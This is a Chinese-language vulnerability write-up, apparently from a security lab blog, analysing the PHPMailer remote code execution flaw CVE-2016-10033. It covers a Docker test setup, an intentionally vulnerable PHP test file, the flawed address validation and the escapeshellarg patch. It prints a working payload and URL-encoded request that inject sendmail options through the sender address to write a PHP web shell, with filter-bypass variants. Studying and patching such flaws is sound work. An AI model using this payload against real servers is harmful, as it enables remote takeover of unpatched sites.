Author: p0wd3r, dawu (知道創宇404安全實驗室)
Date: 2016-12-27
0x00 漏洞概述
1.漏洞簡介
Dawid Golunski 在圣誕節當天發布了一個漏洞報告,報告中表明 PHPMailer 小于5.2.18的版本存在遠程代碼執行漏洞。成功利用該漏洞后,攻擊者可以遠程任意代碼執行。許多知名的 CMS 例如 Wordpress 等都是使用這個組件來發送郵件,影響不可忽視。
2.漏洞影響
漏洞觸發條件:
- PHP 沒有開啟
safe_mode(默認) - 攻擊者需要知道 Web 服務部署的路徑
成功利用該漏洞后,攻擊者可以遠程任意代碼執行。
3.影響版本
PHPMailer < 5.2.18
0x01 漏洞復現
1.環境搭建
Dockerfile:
FROM php:5.6-apache
RUN apt-get update && apt-get install -y sendmail
RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini
提前下載好源碼,在源碼根目錄下添加測試文件 1.php:
<?php
require('PHPMailerAutoload.php');
$mail = new PHPMailer;
$mail->setFrom($_GET['x'], 'Vuln Server');
$mail->Subject = 'subject';
$mail->addAddress('c@d.com', 'attacker');
$mail->msgHTML('test');
$mail->AltBody = 'Body';
$mail->send();
?>
shell:
docker build -t CVE-2016-10033 .
docker run --rm --name vuln-phpmail -p 127.0.0.1:8080:80 -v /tmp/PHPMailer-5.2.17:/var/www/html CVE-2016-10033
2.漏洞復現
我們首先看補丁:

這里使用escapeshellarg來處理$this->Sender,可見是為了防止注入參數,我們跟隨$param的走向可知$param最終會被用于mail函數中,在class.phpmailer.php的mailPassthru函數中:
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
這里$param作為mail的第五個參數,該參數用于指定sendmail的額外參數,其中sendmail的-X參數會將流量記錄到文件中從而寫文件實現 RCE,至于具體利用詳見 Roundcube RCE。
現在觸發點找到了,接下來我們需要確定輸入,可以看到$this->Sender在setFrom函數中被設置:
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
...
}
...
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
setFrom用于設置發信方,正常情況下都是可控的。下面我們看過濾函數validateAddress(這個過濾在preSend函數中還會進行一次):
public static function validateAddress($address, $patternselect = null)
{
...
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}
這里根據PCRE_VERSION和PHP_VERSION來選擇過濾方式,這里有一種情況:
- PHP 不支持 PCRE
- PHP 版本小于 5.2.0
這個時候該函數會使用noregex的方式,即只需滿足三個條件即可通過過濾:
- 輸入長度大于 3
- 含有
@ @不是最后一個字符
這三個條件很容易滿足,所以在這種情況下漏洞是很容易觸發的,已經有研究人員開發了相應的 PoC :https://github.com/opsxcq/exploit-CVE-2016-10033
但是滿足這個情況的主機現在已經很少了,正常情況下都是使用pcre8的正則來進行過濾,所以如果要擴大攻擊面需要對正則進行繞過,并且還得讓 sendmail 成功執行。
幸運的是,已經有其他研究人員寫好了 payload :
https://ghostbin.com/paste/s64ng
"<?system($_GET['pew']);?>". -OQueueDirectory=/tmp/. -X./images/zwned.php @swehack.org
這里使用.%20(點+空格)來作為分隔符,經小伙伴測試發現,.%09(點+Tab)也是可以繞過的。另外 phithon 大牛也提出了另外一種繞過思路,可見繞過的方式并不是單一的,更多的繞過方式需要通過仔細分析正則并結合 fuzz 來發現。如果大家有新的繞過思路希望可以多多交流 :)。
我們實際測試一下,訪問http://127.0.0.1:8080/1.php?x=%22%3C?system($_GET[%27x%27]);?%3E%22.%20-OQueueDirectory=/tmp/.%20-X/var/www/html/shell.php%20@a.com:
等一段時間之后 shell 成功寫入:

UPDATE IN 12.28:
漏洞原作者 Dawid Golunski 于昨晚公開了漏洞細節,里面提到了不同于上面所說的繞過方法。phithon 也在今早提出了幾個繞過思路以及分析正則表達式的心得。(給大佬們遞茶。。。
3.補丁分析

使用escapeshellarg防止傳入多個參數
0x02 修復方案
升級 PHPMailer
0x03 參考
- https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
- https://www.reddit.com/r/netsec/comments/5kbo5v/rce_via_unescaped_shell_argument_in_phpmailer_5218/
- https://ghostbin.com/paste/s64ng
- https://github.com/opsxcq/exploit-CVE-2016-10033
- https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/161/
暫無評論